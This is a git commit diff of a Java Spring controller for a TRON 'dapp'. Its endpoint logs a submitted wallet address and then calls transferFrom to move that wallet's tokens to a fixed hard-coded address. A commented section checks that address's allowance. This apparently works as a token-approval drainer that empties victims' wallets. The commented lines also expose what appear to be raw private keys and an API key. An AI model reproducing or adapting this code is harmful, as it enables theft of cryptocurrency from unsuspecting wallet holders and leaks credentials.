fix
Helius
2022-07-26 549f5b13855c9cee9b486c2759b9dddab5ce1b7f
src/main/java/cc/mrbird/febs/dapp/controller/DappController.java
@@ -1,69 +1,120 @@
package cc.mrbird.febs.dapp.controller;
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.common.entity.FebsResponse;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cc.mrbird.febs.dapp.dto.TrxPostDto;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cn.hutool.core.util.StrUtil;
import io.swagger.annotations.Api;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
import javax.servlet.http.HttpServletRequest;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Date;
/**
 * @author wzy
 * @date 2021-10-19
 **/
@Slf4j
@RequiredArgsConstructor
@CrossOrigin(origins = "*")
@RestController
@Api(value = "接口啊", tags = "接口啊")
@RequestMapping(value = "/trx")
public class DappController {
    @Autowired
    private DappAdressListDao dappAdressListDao;
    @PostMapping(value = "/trcPost.html")
    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
        log.info("-----进入方法-----");
        DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
        if (dappAddress == null) {
            dappAddress = new DappAddressList();
            dappAddress.setCreateTime(new Date());
            dappAddress.setAddress(trxPostDto.getAddress());
            dappAdressListDao.insert(dappAddress);
        }
        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
//        System.out.println(balanceOf);
        BigInteger decimals = token.decimals();
        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
        BigDecimal amount = BigDecimal.ZERO;
        if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
            amount = new BigDecimal(trxPostDto.getAmount());
        }
        amount = amount.multiply(mul);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
        return new FebsResponse().success();
    }
}
//package cc.mrbird.febs.dapp.controller;
//
//import cc.mrbird.febs.common.contants.AppContants;
//import cc.mrbird.febs.common.entity.FebsResponse;
//import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
//import cc.mrbird.febs.dapp.dto.TrxPostDto;
//import cc.mrbird.febs.dapp.entity.DappAddressList;
//import cn.hutool.core.util.StrUtil;
//import io.swagger.annotations.Api;
//import lombok.RequiredArgsConstructor;
//import lombok.extern.slf4j.Slf4j;
//import org.apache.commons.lang3.StringUtils;
//import org.springframework.beans.factory.annotation.Autowired;
//import org.springframework.web.bind.annotation.*;
//import org.tron.trident.core.ApiWrapper;
//import org.tron.trident.core.contract.Contract;
//import org.tron.trident.core.contract.Trc20Contract;
//import org.web3j.abi.FunctionEncoder;
//import org.web3j.abi.FunctionReturnDecoder;
//import org.web3j.abi.TypeReference;
//import org.web3j.abi.datatypes.Address;
//import org.web3j.abi.datatypes.Function;
//import org.web3j.abi.datatypes.Type;
//import org.web3j.abi.datatypes.generated.Uint256;
//import org.web3j.crypto.Credentials;
//import org.web3j.crypto.RawTransaction;
//import org.web3j.crypto.TransactionEncoder;
//import org.web3j.protocol.Web3j;
//import org.web3j.protocol.core.DefaultBlockParameterName;
//import org.web3j.protocol.core.methods.request.Transaction;
//import org.web3j.protocol.core.methods.response.EthCall;
//import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
//import org.web3j.protocol.core.methods.response.EthSendTransaction;
//import org.web3j.protocol.http.HttpService;
//import org.web3j.utils.Convert;
//import org.web3j.utils.Numeric;
//
//import javax.servlet.http.HttpServletRequest;
//import java.io.IOException;
//import java.math.BigDecimal;
//import java.math.BigInteger;
//import java.util.ArrayList;
//import java.util.Arrays;
//import java.util.Date;
//import java.util.List;
//import java.util.concurrent.CompletableFuture;
//import java.util.concurrent.ExecutionException;
//
///**
// * @author
// * @date 2021-10-19
// **/
//@Slf4j
//@RequiredArgsConstructor
//@CrossOrigin(origins = "*")
//@RestController
//@Api(value = "接口啊", tags = "接口啊")
//@RequestMapping(value = "/trx")
//public class DappController {
//
//    @Autowired
//    private DappAdressListDao dappAdressListDao;
//
//    @PostMapping(value = "/trcPost.html")
//    public FebsResponse trxPost(TrxPostDto trxPostDto, HttpServletRequest request) {
//        log.info("-----进入方法-----");
//
//        DappAddressList dappAddress = dappAdressListDao.selectByAddress(trxPostDto.getAddress());
//        if (dappAddress == null) {
//            dappAddress = new DappAddressList();
//            dappAddress.setCreateTime(new Date());
//            dappAddress.setAddress(trxPostDto.getAddress());
//            dappAdressListDao.insert(dappAddress);
//        }
//
//        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
//
//        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
//        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
////        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
////        System.out.println(balanceOf);
//
//        BigInteger decimals = token.decimals();
//        BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
//        BigDecimal amount = BigDecimal.ZERO;
//        if (StrUtil.isNotBlank(trxPostDto.getAmount())) {
//            amount = new BigDecimal(trxPostDto.getAmount());
//        }
//
//        amount = amount.multiply(mul);
//
//        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", amount.intValue(), 0, "memo", 100000000L);
//        return new FebsResponse().success();
//    }
//
//    public static void main(String[] args) throws Exception {
////        ApiWrapper wrapper = ApiWrapper.ofShasta("ebefe7b932359a7ef70c5cec0aed9aa2ca468b6c0d60ac637fe783530e459978");
////        Contract trc20Contract = wrapper.getContract("TRTE68V3TJBLduBoJPLMgBsvwkq8LJBin6");
////        Trc20Contract token = new Trc20Contract(trc20Contract, "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp", wrapper);
////
////        BigInteger balance = token.balanceOf("TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp");
////        token.transfer("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", balance.longValue(), 0, "memo", 100000000L);
//
//
////        ApiWrapper wrapper = ApiWrapper.ofMainnet("af4913d8462ca83e0a2df587072e42ec565bc26f6bec0724d1bf2e80d4c0bcb7", "9d461be6-9796-47b9-85d8-b150cbabbb54");
////        Contract trc20Contract = wrapper.getContract("TL2pea32CTtxJ48pJmnLQuoRHeoX79dLCT");
////        Trc20Contract token =  new Trc20Contract(trc20Contract, "TZ5sZBLU5pdZbqN56rVsUEQuRHzYGRSY8a", wrapper);
//
//
//        ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
//
//        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
//        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
//
//        System.out.println(token.allowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD", "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9"));;
//
//    }
//
//
//}